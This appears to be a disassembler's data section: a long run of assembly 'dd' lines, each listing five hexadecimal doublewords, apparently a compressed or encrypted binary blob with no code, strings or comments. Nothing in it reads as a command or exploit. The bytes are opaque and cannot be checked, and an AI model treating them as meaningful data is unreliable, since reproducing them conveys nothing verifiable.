		dd 0C210A507h, 0FE1C61D0h, 79BB4C00h, 7160A769h, 0BE7B897Ch
		dd 65109C71h, 4EA0FC97h, 614EE422h, 0B600BDECh,	88251764h
		dd 0D4B860E8h, 97D68156h, 1075DC41h, 6D07076h, 30BADECAh
		dd 0A0003855h, 57A6E432h, 9A37F4Bh, 807E1A1Ch, 0D17AA884h
		dd 3A9D4AA0h, 0B7BF9871h, 1520322Fh, 0E906C051h, 58A0E34Dh
		dd 2A269473h, 98503640h, 0DCE054A0h, 0C86D692Dh, 3CFE41F0h
		dd 835B5021h, 15E128FCh, 8F10400Bh, 76222AD2h, 7054007Bh
		dd 573BFA5Eh, 595048AAh, 2FE34AB4h, 8C04C35h, 0CB1933AAh
		dd 0CA25820h, 9856707Dh, 7C0BD84h, 0BA1058E8h, 0D1ED1FBFh
		dd 0A401E540h, 0FA7B1931h, 6DAA2508h, 0D07E9406h, 934D4DF0h
		dd 3C0513F8h, 174C9C00h, 1D44C785h, 7F3B2FEh, 37548C59h
		dd 31004F51h, 52503976h, 6615C004h, 7486D455h, 7B621FA8h
		dd 5F8FCC67h, 0F002FEC0h, 0E41A6582h, 2504541Dh, 44F87430h
		dd 405F59h, 51FFAC53h, 0C0E8FA39h, 0DDF51920h, 6312872Eh
		dd 8430BDE7h, 59CF44Bh,	11246AE2h, 0CD8C806Ch, 495041AAh
		dd 0D93A2694h, 45CE1289h, 68A47404h, 0C0AFFA07h, 36BAD369h
		dd 7C02309Eh, 595420AAh, 4E486D0h, 0EB017071h, 779CB465h
		dd 58748EE1h, 0C11A71AAh, 0CE3C5730h, 78906352h, 675B0709h
		dd 4D88605Fh, 14520739h, 0D3C0D57Ch, 838B5493h,	878D56C0h
		dd 0D34918C0h, 0A04E35F3h, 0C080B008h, 0D1FD8308h, 0F33ADF6Dh
		dd 93D206C1h, 1401B6Bh,	507E81F5h, 0F0D112F1h, 59C163BAh
		dd 10524A8Fh, 83ECDD4h,	262BA287h, 0E3AB840Fh, 37A3B19h
		dd 0A2167B61h, 1001141Ch, 7CF170B4h, 6DC46097h,	5E1E18A7h
		dd 0FFDC0845h, 86014B78h, 40F66CD5h, 0D6F07EB8h, 63C0F0B1h
		dd 0D9FD1030h, 7CF9B13Ah, 685A8830h, 6BE8C2h, 0B9F62E0h
		dd 6F029A04h, 3E166D06h, 1F8973Ch, 8860AFC2h, 8376E2A2h
		dd 0EF93D490h, 2CD80058h, 3E80A73Dh, 30C3D6F0h,	0C1A40C12h
		dd 118025A0h, 56839704h, 0A6E63173h, 0CA2ACB0Fh, 18BF806Ch
		dd 1864535Eh, 30E11A3Eh, 99140C1Ch, 9EBC8C56h, 20D1C688h
		dd 791F8A4h, 0AC164B68h, 3A48589h, 0C9FDDD08h, 2E3CE018h
		dd 2A5822F8h, 0F8D487A5h, 48EB6193h, 0E04D3DF9h, 10C7910Bh
		dd 0A780601Eh, 5211812Ch, 930CF488h, 5E7868FBh,	0B904AC15h
		dd 50A42844h, 0AF646C10h, 8136C21Fh, 143E5195h,	0C92080C3h
		dd 85555C6Fh, 2F9318B1h, 0A28240E9h, 2AEB0F20h,	72CC004h
		dd 2236A487h, 3E29A04Bh, 850E7392h, 0DD1EA22Ch,	0F53DB800h
		dd 18C39D97h, 0A1284A14h, 0C51CA775h, 25C112EAh, 53DEB7E6h
		dd 0C8417FCh, 77623EB9h, 8C011648h, 6C028DBBh, 8850D043h
		dd 1F064D12h, 0C15F158h, 0CC188589h, 9DBFF8h, 1E0265DFh
		dd 67E088h, 0DA2F2D7Ch,	4461F750h, 8A55240Eh, 0BF06208Eh
		dd 226FC54h, 3EB80B65h,	8481F8AEh, 0FA806CCCh, 0C4F15C41h
		dd 0D4F10C6Dh, 3450C5A2h, 0AC03A484h, 716B8A8Fh, 93EBA0E6h
		dd 0F388CAC4h, 7CAC2AECh, 0B6863311h, 480AD119h, 0C8F8849Ch
		dd 8CC5DD4Eh, 0E4203A1Ch, 13257Fh, 70D23C10h, 4A96CFA7h
		dd 76C4FC90h, 91857Eh, 1BD211F9h, 0B24B15C0h, 877AA8C0h
		dd 61B93E60h, 862168DFh, 0B4002450h, 0EE2CA640h, 934A28A2h
		dd 0EC0251D4h, 0DBE312E0h, 0CBC1C128h, 10BF03h,	0A75AB2C2h
		dd 615B3E6Ah, 44CA58F7h, 819A81FDh, 99BCBD21h, 488FC424h
		dd 8E86B860h, 897C90C8h, 4D6D08C3h, 24284883h, 8E074448h
		dd 0D0917BD3h, 0DD6248Bh, 255638C6h, 69D50008h,	0A28D2C48h
		dd 90C109B3h, 0B093EC3Dh, 4A616831h, 0FC888C00h, 0BF400B1h
		dd 612CD114h, 0E306C72h, 0F7CDF08Dh, 93CC0C65h,	8A80697Ch
		dd 80006FEEh, 30A75D5Eh, 0A441CA8Fh, 702928A8h,	594A1454h
		dd 9444ECF1h, 927099D0h, 6B87829h, 0C4F16806h, 286960A7h
		dd 302C39FBh, 9818BFC2h, 3E12820Ch, 7C017A0Eh, 8D8047CCh
		dd 0C9F95048h, 7C070C38h, 27663321h, 12FBE0E0h,	0A57FF203h
		dd 0FCD91E88h, 0F3D59CC0h
		dd 45CA2433h, 0C1136410h, 4B11B24h, 98022090h, 0A889DFD1h
		dd 8D4E044Ch, 8080527Eh, 0EB013E50h, 0C1518C6h,	62C213D0h
		dd 0E958202Eh, 8500EB6Dh, 25AFE3F2h, 9AB056h, 0CE647469h
		dd 0F79724FBh, 6C20C0FBh, 0F8836020h, 0DD0A1D18h, 2376C7Dh
		dd 70A23E2Dh, 8E988088h, 0C2FFA316h, 629C0627h,	146AEC60h
		dd 3395AC80h, 89B8D08Ah, 56BDC111h, 80E1D12h, 0D10DCC84h
		dd 983720C4h, 786E2B14h, 7258A20Ch, 9310DA18h, 0F612504Bh
		dd 17844AB9h, 0E42184A8h, 10C0B32h, 0B9EB1C74h,	0FCD98FF4h
		dd 0BF68373Eh, 609F2050h, 0A72655E6h, 9B8DF449h, 7881F85Dh
		dd 0AD93BBBCh, 40A0707Ah, 0A4E83258h, 350B5CC1h, 0E4B38B02h
		dd 80B3A4E7h, 8E89DE78h, 4B36FF18h, 0C94ABD28h,	5001C4D1h
		dd 359BCE3Eh, 86284068h, 5F042FF2h, 0AB7646E7h,	0C110C2h
		dd 0B30CEB14h, 0E880549Ah, 823793D3h, 21C150DDh, 1DD06753h
		dd 64F54CE5h, 49D71C50h, 0CA0A082Fh, 0C507A6Fh,	0A5D146E5h
		dd 386C1A84h, 0A8442078h, 0B7B838C4h, 0A77D14C0h, 6F802C93h
		dd 0FB10B7D4h, 0D8308427h, 0FDBD2802h, 0A9C4AFFh, 0E14040B0h
		dd 3A43D6Dh, 14A19CDBh,	48097074h, 0A5E0943Eh, 0A0234754h
		dd 0D4EBE12Ah, 28F9452h, 14B006B6h, 10928FBh, 889FB17Dh
		dd 0DA0BF0C0h, 0BD1490C9h, 58F892D7h, 28046854h, 0C21F8151h
		dd 1607B048h, 80808844h, 95D646Dh, 1F60A22Ah, 0F110B0A2h
		dd 3DEDC840h, 0ECB3B878h, 3887C409h, 493D6C58h,	0FC48E4EAh
		dd 0EF3D400h, 8E5CCEC2h, 8888C450h, 2A00CC90h, 20AEDA6Fh
		dd 1C71CAB9h, 0C92DFCEFh, 0C08087Bh, 5C30692Ch,	0C8C25554h
		dd 48C673BDh, 83EAF08Ch, 0D69493B0h, 7B2BD80h, 13D18CC8h
		dd 3ACBC3C9h, 0A29F180Fh, 28529619h, 0D1D42C11h, 94417AE8h
		dd 584D8427h, 48C08210h, 884A00C4h, 17FB90EEh, 0B78F03A3h
		dd 0EDBEA2FEh, 94449003h, 8B4B7AC5h, 3C42A30Dh,	0AA26A09h
		dd 6940027Ch, 93510DC0h, 23701D9Ch, 17F9C0F8h, 3193D14Dh
		dd 6D283C23h, 0C1DBF009h, 24454A02h, 620AB9FEh,	7F14B008h
		dd 0F43024Eh, 81A1162Bh, 15230C1h, 14312179h, 80781824h
		dd 1C92816Ch, 0F08F1E26h, 9CF03E84h, 0F895D494h, 822A3C80h
		dd 78EF3821h, 0BBE00F80h, 9F444F3Ah, 48CAD700h,	0D2D831CDh
		dd 163F00F3h, 9324A276h, 0EC5CA8EBh, 0D03DE38h,	3ADB43C2h
		dd 932E8BC0h, 2CE422D5h, 63D8FAE7h, 0A024DA66h,	0CD00483Ah
		dd 0FC46B78Eh, 75E0003Ch, 87A815A5h, 4E0034BCh,	0C1E58D03h
		dd 4861937Fh, 891E78A6h, 0D7F3812Dh, 209F1EA2h,	0F8DE0A04h
		dd 84A83C1Fh, 7BB70300h, 0FD1D48C9h, 0FCDC01A4h, 0CAD1B340h
		dd 2E42F027h, 6C259CF8h, 0C4FC0202h, 0F650482Bh, 939F0C10h
		dd 8E1011C7h, 45572115h, 0F7CC40B0h, 0C06C8148h, 2067325Dh
		dd 46BC48D6h, 0FC6B0277h, 0BD893E56h, 60E57C69h, 0DB0F74A0h
		dd 396241Eh, 0E01BB33Fh, 0F008E4C2h, 2F020153h,	0AE161ED9h
		dd 8E56D082h, 7C2BBA3Bh, 0B0744079h, 0B3A7760Ch, 3A5006h
		dd 0D61EEA04h, 0BB93E0A1h, 19B11760h, 787B00Bh,	5D2C65C1h
		dd 3EBD80B9h, 85796E2Ah, 19080891h, 55650005h, 0A9210D54h
		dd 0C2244948h, 5348AFA2h, 218C83C8h, 29486C63h,	0ADF40EB0h
		dd 641F0F3Dh, 0B0B32216h, 5700444Ch, 0C0B2B4DBh, 0EF20935Ch
		dd 4CE201E9h, 0C2F0F6C6h, 9AC87041h, 0D21F6C18h, 2E267368h
		dd 0BE48D817h, 5A721812h, 0A0885838h, 874830ACh, 35B84CA2h
		dd 0A484B80Bh, 80140490h, 3E882057h, 0FE80A3C3h, 902E859h
		dd 0B391AB13h, 1D85D0A0h, 2F60FB6Ch, 1B34F3C0h,	8AFD0039h
		dd 24EAE8F4h, 0FB021199h, 2CB273Fh, 767C608Dh, 0F81F908Fh
		dd 0C8D00314h, 564ADD0Fh, 6208F840h, 8F234E03h,	9411A2h
		dd 0DCC6D5A8h, 0FE728E19h, 0FBDDBC00h, 0B4D1FA40h, 382117CAh
		dd 0A2003147h, 0E5CC53D4h, 30F0D0BEh, 44CA8E16h, 41DFD831h
		dd 0B08C8845h, 0B0F1EE4Ah, 17E08CB4h, 1F7B886h,	9E6C1258h
		dd 7BF0823Eh, 6EAFC43Dh, 93DD09DCh, 34C8039Dh, 0A00686Ch
		dd 0E7910467h, 0F852753Bh, 313A90A4h, 0B918771Eh, 0BD7FF80Fh
		dd 0A4F1162Ch, 6C148160h, 0CC4DF5B7h, 0DB2C5032h, 600A8FF8h
		dd 0D4804109h, 992EA249h, 7C0198A2h, 0F08D30D3h, 0D68069DCh
		dd 3A8C2E93h, 0CC80526Ch, 0AB03C5Ch, 0B4D639h, 0C01EB7C5h
		dd 0F48852h, 7D205B8h, 33EA5A4h, 7026289Ch, 0E58F8023h
		dd 48A2A223h, 99C8A5EEh, 344070C4h, 0DA216391h,	3D84A168h
		dd 0C00A4FE8h, 98168C80h, 8468D623h, 3E060828h,	140C5BFh
		dd 0F1800A2Fh, 9E269021h, 1D125861h, 1C6BE804h,	0D16C2213h
		dd 0F4B402h, 0E3A2204Bh, 0AF38FF69h, 37D60418h,	62313200h
		dd 7B7F6C73h, 164284B2h, 0D4521C56h, 0B4DD9309h, 91F6B082h
		dd 0D8B04850h, 17DE2720h, 400B9E93h, 0E79F409Ch, 0D4A4528Dh
		dd 50615B30h, 91D84CEBh, 376C86D4h, 260910F0h, 0C174F83Eh
		dd 6097B2B8h, 0E8CC087Ah, 35B5788h, 0D84F7E8Bh,	0BAB442CFh
		dd 11FB58E8h, 0C42A494h, 93D30063h, 6D80DFD6h, 409809A8h
		dd 28887AAAh, 90D034D4h, 43EB20Ch, 0C140CF60h, 60DC9345h
		dd 0AFB9516Dh, 0FCE188E8h, 81001CFCh, 61D99503h, 9E17937Bh
		dd 885E19ECh, 1FA422C4h, 0A8ECCC3Eh, 30C421CDh,	557A8Ah
		dd 0FF0F3C29h, 9AA8401Eh, 7BBB4C16h, 9204A400h,	1E614663h
		dd 148BD65Dh, 560008BAh, 0D8375FA3h, 2D0FDB71h,	3C1D46Ch
		dd 0E13C1A9Ch, 0FBE069FEh, 9697033Eh, 494AC393h, 98DE0EA3h
		dd 0A586FA61h, 0B46019B7h, 3BFB8039h, 0CA80DC94h, 0E6E4A96Dh
		dd 563E0F9Dh, 4E20378Fh, 8B8AAC1Dh, 0C9F058B8h,	0BBAEF01Fh
		dd 0FC0E4F96h, 0CD9BC056h, 0E2ACC5B0h, 7B4A008Fh, 0FE740D7Fh
		dd 94353E25h, 0B8D86012h, 80014109h, 0A9499ED8h, 5C9A443Ah
		dd 2F0098D4h, 86DB46Ah,	692C6242h, 0D9120427h, 0C5144C20h
		dd 0BCA8B907h, 8849D612h, 0E10385E0h, 893D96Dh,	891818DCh
		dd 503CACC0h, 0D8D1602h, 414C87A2h, 586D8818h, 27BC02D2h
		dd 0C443B6F0h, 482655FAh, 0E4E0010h, 3DDE7EDAh,	0A4606B3Eh
		dd 935B62E0h, 7096FD80h, 92871EF9h, 843CCD91h, 885CA240h
		dd 3E814090h, 17D9402Dh, 18091098h, 80617223h, 0FE6B2AACh
		dd 89840655h, 28DA0B3Eh, 7F76E4B0h, 0CA15380h, 91FB876Dh
		dd 0F9EC5008h, 80B9E1E3h, 9A93AF10h, 9EE1F1EFh,	3E208020h
		dd 89A4C6EEh, 0B0920FFEh, 48A31630h, 6EF9427h, 86A2DBFFh
		dd 0D94AF80Dh, 60979860h, 0F82CF1BDh, 908258C9h, 0F451037Bh
		dd 0B570EC4Ah, 8CFE80CCh, 3794F8C1h, 0C430215Bh, 0EF2E1874h
		dd 6155182Dh, 83608212h, 94919800h, 0CF3ACA5h, 0E25FA23Bh
		dd 0CE3CD160h, 1E5418E6h, 2493D210h, 0BF4AB30h,	382103BDh
		dd 4498B5A2h, 0E0D0B1BCh, 30C57F89h, 0DC82BF84h, 369CC670h
		dd 0D940AEC7h, 2B445700h, 91FE1FC8h, 0B7ED0188h, 3C93E80Eh
		dd 273C23C6h, 0C0C1822h, 84A4909Eh, 0BE020B84h,	70111FD1h
		dd 0F3DF10DDh, 45A21805h, 9504A0A0h, 1F93604Ch,	0CE0C8A54h
		dd 0F0DB40FEh, 0FB79F02Dh, 0BD2AE980h, 0F186EDC7h, 3C6C130Ch
		dd 22C0ACh, 2A25F682h, 18841C67h, 580A70C4h, 7B2C20B6h
		dd 0C0C48920h, 0E4208C65h, 0AAAB5E2Eh, 0E6627024h, 0C080B0Dh
		dd 6F340FCh, 0B5098413h, 0E6D0FC3Eh, 7BD92C04h,	841427A4h
		dd 4EA28888h, 8264775Dh, 0F2F55E6Ch, 24455A38h,	43DC4540h
		dd 38708D3Fh, 0AB3E0930h
		dd 43BCA0FDh, 686FA7Bh,	4AC8ADD7h, 80A95942h, 887AE0CCh
		dd 0F02678B9h, 38B36420h, 1A40C426h, 0C0AEBE6Ch, 12812B90h
		dd 88A4BB04h, 6C61A8B4h, 7464A5EFh, 206CB80Bh, 2112C992h
		dd 7C0C7560h, 0DE8F39D9h, 0E0E6DB04h, 6CA221E1h, 62C21E24h
		dd 0ACC01C13h, 5FDA96D6h, 4A4804FDh, 4AC4E2F7h,	0C1E7000h
		dd 0B98E569Fh, 88BF9340h, 3E8065ACh, 2FC240FAh,	0C1B39C0h
		dd 868B569Ah, 0E8269242h, 0C14B02ACh, 3850B26Dh, 50871C24h
		dd 6C4CA127h, 0F1B7E59Ch, 0DAC761A0h, 22FBE818h, 1EA9BC16h
		dd 6B0204BBh, 1330925Fh, 91391B10h, 45A993B8h, 0E55560D4h
		dd 0CE42C30h, 28E74AA2h, 0D89D0044h, 0C5C076CAh, 7B0CD331h
		dd 0F002182Ah, 5D4890D0h, 2C8E6489h, 2DBAF740h,	76015F8Dh
		dd 0ECAF56A6h, 0E4415A0Ch, 69D10ABEh, 51BFE0E3h, 2523014h
		dd 2741A418h, 0B95E3800h, 23EE57DDh, 95090040h,	2480638Ah
		dd 9C044491h, 4198A2D2h, 50316089h, 88C59060h, 8CBE4CF9h
		dd 0E1055859h, 0D90020C4h, 0DC407C94h, 0C2212293h, 3EA28128h
		dd 460C46Ah, 90A47D60h,	0D258A09Ch, 0B3A3166Dh,	4813C9h
		dd 4F87E5A4h, 0A05EA2E7h, 0BD0CB803h, 8634C184h, 14301083h
		dd 0A960409Dh, 0CE2C148h, 0D22503AAh, 9262C379h, 0E5575000h
		dd 3E3F9909h, 7FA4BA70h, 257D7889h, 0EC13B7F1h,	0FB3ADFBh
		dd 0A80004DBh, 1B065A9Bh, 99F02FBDh, 1E6F9330h,	0AFDB9FDDh
		dd 52C05802h, 295AA4C1h, 3E0D5E0h, 0F793D71Ah, 7207F78h
		dd 0E1C73A1Ch, 38BBC006h, 96246C4Ch, 26803857h,	0ECE9AA88h
		dd 3E7406D0h, 906CBA54h, 25F420C0h, 0D62369A2h,	8B684060h
		dd 45B4685Dh, 3EAE8406h, 7580D26Ch, 9CD32612h, 2569204h
		dd 0AD90CFACh, 0DBBF9E0h, 0F28690C0h, 9144E2h, 14DB3954h
		dd 1F7B67F4h, 0FA1E3892h, 0FECF3818h, 8960A9Fh,	0CFBB3E1Fh
		dd 34808824h, 6E2BD2h, 0D780D09Ch, 36BB54C0h, 0FBC44D02h
		dd 69E9681Eh, 7C680488h, 0B7A4EB3Ch, 1D38ACC8h,	38126Ch
		dd 2F0B4CD8h, 0B72A14DAh, 3C90F45Eh, 44F2CB7Eh,	203EFC00h
		dd 0C9C7B303h, 30E49864h, 6291AC8Ch, 0DC9118FBh, 826ACC09h
		dd 5AB7AFB8h, 0CA7A451Ch, 30C7B404h, 54F58FE5h,	1D3E802h
		dd 0F4EACAFFh, 8AE2017Eh, 82253D06h, 0F51005EDh, 0B794BFF8h
		dd 5307EDD1h, 0ADB3E38Ah, 0F0286EDh, 825C2535h,	690D1AF4h
		dd 8051442Ah, 525F551Eh, 0C786D2EAh, 7ED83216h,	5D0E4ECCh
		dd 252D8A1Eh, 52EF634Dh, 79F867E4h, 557C20F2h, 10ED025Bh
		dd 9D345F80h, 3BC68C64h, 34289726h, 6186C482h, 881D8806h
		dd 33FE228h, 398C6958h,	4A94E310h, 6C09BB00h, 55021D1Bh
		dd 208D68DFh, 4E8394FDh, 6A43509Fh, 64E90C07h, 0ECC72A15h
		dd 712652E1h, 31EA31C0h, 5532EE2Bh, 54C8FD60h, 34064A48h
		dd 63218B4h, 24630FEAh,	0B9585716h, 0B8546C5Eh,	0BA8AC30Ch
		dd 33D600BCh, 0E4C25272h, 0CC008206h, 80196535h, 0C45AD0EAh
		dd 4A03C663h, 8C1C8D88h, 0A678EB9h, 0EA9DE105h,	9E8FDCDAh
		dd 2960B3BFh, 87E7822Eh, 2C56451Dh, 0E6FC781h, 0C831910h
		dd 281E7BC5h, 164DF7E0h, 0EFF54750h, 1F5EBA0Ch,	0ABB0C7Fh
		dd 8A75CD13h, 0AB2D15D9h, 0F8565B0Ch, 7EB85EBCh, 80C0DD03h
		dd 0D5702AD6h, 0A70ADC56h, 51C2D4E4h, 20687B9h,	0E014EAC1h
		dd 8C030A22h, 0BA69250Dh, 0D62F9694h, 5201E1E6h, 2350C058h
		dd 0B5406FD7h, 640D4FE3h, 159092C9h, 4EC89E51h,	525D003Ah
		dd 1574F4BAh, 0CF322300h, 0E7EA565Ah, 5920CE0Dh, 89C905CAh
		dd 43307D2Ah, 0B8031F56h, 19EA6069h, 66A855ECh,	0C2E8E6CDh
		dd 0EF39C916h, 9B5204h,	0EE8168B6h, 7966C927h, 8A9F941Bh
		dd 901929BBh, 15949FEDh, 0D5BC0299h, 4075EF04h,	0A0406802h
		dd 50F844FEh, 0F3FEA5D4h, 0DBC785C2h, 0FFC7D603h, 2A058834h
		dd 0E8B0A3D7h, 3309FE0Bh, 8C5F08EAh, 49F07E55h,	133BFCE8h
		dd 53646980h, 317DB819h, 0FFECF63Ah, 0C7CA83C6h, 0B05AF089h
		dd 4851F4F8h, 0AF4593EAh, 0C042D5D8h, 1BB6EBCFh, 70ED404Ah
		dd 65067E51h, 0E3F8EA74h, 6A8BEA50h, 92100ADBh,	6D822752h
		dd 0FE7EBBA0h, 0EA570D50h, 5ECA21EEh, 0F8BC9167h, 946913C7h
		dd 0A66FAF2Ah, 0D5F10CAFh, 538F085Eh, 7CF8EDE6h, 653D5BD0h
		dd 3681693Ah, 8F53715Ah, 8225005Fh, 9A7648F0h, 0F8482A38h
		dd 408413Ch, 30332615h,	6E06D701h, 1B0EEA6Bh, 0FB2E1687h
		dd 823EF45Eh, 5E657ECFh, 0F10C841Bh, 1E354615h,	4ED44F6h
		dd 7069FAF8h, 0E86B9341h, 6057D694h, 4B5B3B00h,	845AC902h
		dd 5146C4E9h, 7E690310h, 0AF6AAF36h, 984A4852h,	0F981C01Fh
		dd 5C674C2Dh, 59C3890Eh, 29A36381h, 8CE515D1h, 69C3A715h
		dd 5D4158C2h, 82E2CCD6h, 13844DF5h, 22008806h, 50EC815Dh
		dd 0C9514FEAh, 8880E33Bh, 0FD31F1C0h, 7779397Eh, 26F91DD4h
		dd 0F46A15BAh, 24730408h, 0F20B4914h, 5BA57C0Ah, 49EAF009h
		dd 69F12154h, 806335AFh, 3E172478h, 74B96079h, 4003734Ah
		dd 48D6102Eh, 0EAC8E81Ah, 0F14D49D1h, 89DFF29h,	69051E21h
		dd 83327CC5h, 9814C4BAh, 3FE7021Ah, 6FEA3099h, 5DF79048h
		dd 5B02250Fh, 0C193E781h, 0C7600637h, 646AEA16h, 0C9B9269Ah
		dd 23A840F1h, 651EBC5Bh, 5039C302h, 5488C08h, 88538992h
		dd 1590EE08h, 551BD110h, 0F903E022h, 54ADC0E1h,	875CB403h
		dd 2D3F7D4h, 0EACCFF08h, 43668BB5h, 0DD695103h,	0F11E0A1Dh
		dd 1C9450A2h, 917B8289h, 231088CEh, 7F096987h, 2672B4Bh
		dd 40AE006h, 0C596C456h, 0C78365Dh, 5D0D609Ah, 7D740C69h
		dd 1DF8534h, 4416140Fh,	742A2FEAh, 0C8CBF229h, 0BFA4247Ah
		dd 4004F5CCh, 0A02BC77h, 232342Ch, 1F7160D9h, 5060820Eh
		dd 393F3B0Dh, 5EEF0F48h, 7DB7E557h, 0E30B485Eh,	4C24163Ah
		dd 0C28E3227h, 17A7E6EBh, 3FBDB056h, 5E60390Dh,	0E7EB19DEh
		dd 608A62F9h, 0AAC0DFF8h, 63B48BAh, 0C7097E54h,	6FBF41h
		dd 0D17CFC7Ah, 0E8C2131Dh, 3E2C0008h, 0D262BA32h, 0FE10F060h
		dd 0B8B62A73h, 0FAFF49D0h, 28B7ED01h, 0D881463Ch, 6A001A56h
		dd 14F75571h, 61E8E924h, 8F5A2A5Ch, 0A3BFE704h,	14017B3Bh
		dd 0C7886134h, 0F8D05058h, 7F223068h, 241C891Ah, 0E9451CDFh
		dd 20D054EEh, 72B4C1Dh,	0AF78170h, 4755437Eh, 6183DFB1h
		dd 2618823Bh, 40298D32h, 66D10D7h, 97E94DD2h, 0F6244440h
		dd 21BFCD1h, 8966810Eh,	0F7689885h, 0E93E4361h,	101D328Ah
		dd 60CC5345h, 200E52h, 805A66D4h, 0E4C001ECh, 0F4060276h
		dd 8BE588E7h, 44E9104Ch, 0FA097A43h, 8028585Bh,	66D0304Fh
		dd 228DA38Bh, 89300484h, 0FD6C363Ch, 2490E3FFh,	4112A60Ch
		dd 0CF6DB83h, 59D86CDDh, 5D64E917h, 81145C2Ch, 87341DEFh
		dd 34A5835Eh, 10EB6618h, 1EB56818h, 8D3AC609h, 8067116Dh
		dd 478CBA9Ch, 1F8112B6h, 0C35819CAh, 6039E905h,	4A263Eh
		dd 214238C2h, 3DD5096Eh, 0C500455Ah, 38019BBh, 82E7B0E9h
		dd 2C3832Ch, 8BAA8687h,	0D36630B8h, 0CCE99CCCh,	35F2D660h
		dd 0F8CE3977h, 58C60629h, 0B734875Ah, 9B5492CAh, 924AE984h
		dd 5152331Eh, 8BE109C9h, 87D78944h, 0F2ECFA4Ch,	8BC45083h
		dd 0BA784047h, 0B0566F3Fh, 4E44BE75h, 0F70818C9h, 50E904D2h
		dd 0E08999A8h, 9768560Ah, 0E961BD27h, 10842AC9h, 8241B450h
		dd 0A0B8529h, 664F2770h, 0F0A19A8h, 5E1C7709h, 5CE55A2Ch
		dd 0F9C504F4h, 0D55D81E1h
		dd 12354188h, 5C1F105Ah, 8862F068h, 0AC077BEDh,	0C7835253h
		dd 1541FECh, 4711CDF1h,	0D1A0201Eh, 97E358h, 5F162028h
		dd 2AE9DE01h, 839B7E0Ch, 10C3C1h, 3904BE95h, 0DEF740F8h
		dd 4800ACB8h, 1A9F4A4h,	505EF3h, 0D27830B8h, 2F0EE968h
		dd 0C8BD46C0h, 0A0737959h, 484CEFFAh, 6101055h,	61680A58h
		dd 90689E31h, 6009BD68h, 559F806Fh, 0D10BCBDh, 0E5D161B6h
		dd 0F73F44Ch, 4F0C1E6h,	83A161E7h, 3559E418h, 960C002Ch
		dd 293C513Eh, 0CAE65DEAh, 62EDC1A0h, 788CC44Ch,	56E9590Ch
		dd 2458723Eh, 0C944C29h, 0AE084481h, 0AD75005h,	0F95403E9h
		dd 0B71C2AB8h, 89530215h, 1F69A2h, 50A1BEADh, 947052E2h
		dd 3AF90129h, 0CBDD06B0h, 9D3D4BAFh, 0BA09236h,	2097A960h
		dd 0C14C0C4Fh, 3DB202EAh, 5F400E04h, 0DEC2F181h, 0AA9C4097h
		dd 605C8186h, 83908BCFh, 6B89F980h, 9D4E50D1h, 806EB94h
		dd 0E55CFE9h, 0C3E415Ah, 33107AFCh, 314D2D90h, 5C73104Fh
		dd 0D830AC01h, 0ED74B252h, 875A349Eh, 6ABD2C49h, 0AE34872Eh
		dd 7E053203h, 15EC03Ch,	0F48DA0C8h, 13AF052Ah, 0F03E6C1h
		dd 28E5648Eh, 0CE090018h, 770B6BBEh, 249F0881h,	3132C082h
		dd 595EF029h, 82120548h, 8A74FF50h, 65BC88D5h, 415A0584h
		dd 526B330Ah, 0D10700Dh, 5B5415F4h, 4A94A497h, 5F5A48C1h
		dd 0B6A2B702h, 800417ACh, 9C304183h, 59CEE1C1h,	125AF0D8h
		dd 510D43E9h, 5314472Fh, 10E62BBh, 4D72E9D8h, 416AF613h
		dd 35D454FCh, 510B4356h, 220C8BC1h, 0C18114F4h,	0E9797927h
		dd 0C6A6877Fh, 0F36ACBF2h, 4C038440h, 0DAAA805Eh, 89216840h
		dd 0B0DFE4C3h, 0F8210939h, 4384FF5Fh, 8E238081h, 277A992Bh
		dd 3DEE04B2h, 9D250983h, 0CE885966h, 0A0FE1D56h, 0DE2E21F6h
		dd 8703715Bh, 0CF05941Eh, 7DE95FF0h, 0C5ACA990h, 33060809h
		dd 316C2690h, 0A45C0D06h, 99E9310h, 0DD03CD01h,	7805E4F5h
		dd 6E04E2B0h, 20A8C014h, 314B7626h, 0F7336822h,	4D9B365Eh
		dd 32B04876h, 19C28D10h, 24D10414h, 58002906h, 0A191C481h
		dd 0A21F18Dh, 0BBF13A5Dh, 4882E655h, 8A1E882Eh,	55201222h
		dd 68660F6Bh, 0F42638CDh, 5B7F120Ch, 0C8D7534h,	0D201194Ah
		dd 5C606329h, 18C8BF0Fh, 5D197C68h, 29803F09h, 0A94EC5D9h
		dd 0EE0192E7h, 25F04FE1h, 7046F60Ch, 68205C9Ah,	20369877h
		dd 8AA086D8h, 52E1ABCh,	80EC334Ah, 1DEF00B8h, 0D8F727E7h
		dd 4F036F35h, 0C33137A7h, 7859C58h, 0CFE6E200h,	12DD866h
		dd 4D93458Dh, 4005F001h, 0C0095E07h, 2B850F09h,	99A5A87Dh
		dd 113C5B01h, 23248943h, 0CF5444DEh, 0B10ED0Eh,	97E7C326h
		dd 0E009B258h, 2C729CEBh, 185E6CD4h, 0C62D2E82h, 5BB77509h
		dd 83D10401h, 36339F83h, 0D0631F6h, 29A5C58h, 3D2744BAh
		dd 0B9FC121h, 89EA7183h, 42E2DB31h, 1C2D1640h, 6CEF8326h
		dd 3B70BD00h, 0AA6BE933h, 43FE02AFh, 0CB870058h, 8C0D9F7h
		dd 6A4EF381h, 6029EA3Ch, 0E9C692D8h, 0B49A84E0h, 4352C0Fh
		dd 2A7F4663h, 8EF20F7Dh, 887A6566h, 45B0BE83h, 6B978600h
		dd 0D6295E28h, 0C589585Ah, 1B9E90Ch, 0C80CE23Bh, 2E790367h
		dd 0FCDB1F84h, 5AD3C987h, 0CDE96BA2h, 0C2883568h, 25FBD1E4h
		dd 9707A0FCh, 7EAE3990h, 49426E22h, 4A9F9DE2h, 0BBE024C4h
		dd 883BBC1Ah, 0FB891E10h, 74F1E5A1h, 0CD77FEC6h, 52F72624h
		dd 0D33CC794h, 91EFE10h, 105DEF29h, 8090ADDDh, 0B590FE88h
		dd 8324E492h, 8F2AEFC0h, 7FE7B900h, 0F1314469h,	0D4EFA05Eh
		dd 460C0B06h, 9EA8D121h, 0D9EF636Eh, 6EA14B5Ch,	0A6E66F8Eh
		dd 0B11AF2B4h, 70FC0310h, 95EF29B3h, 31BA8E73h,	0BAE90C83h
		dd 24565534h, 0CFA45E54h, 1CFC19DCh, 29877051h,	50980A8Bh
		dd 15CC15B0h, 0F639CD58h, 5FC80B7h, 370984CBh, 8CC3E05Fh
		dd 654BE468h, 0E9B18F37h, 688EEE50h, 3DE696B6h,	5948224Ch
		dd 217F1EA6h, 440C6A5Fh, 58FE1828h, 0D1271C8h, 54F83145h
		dd 80168858h, 64B81533h, 7AF07010h, 3951BB00h, 0C787BD30h
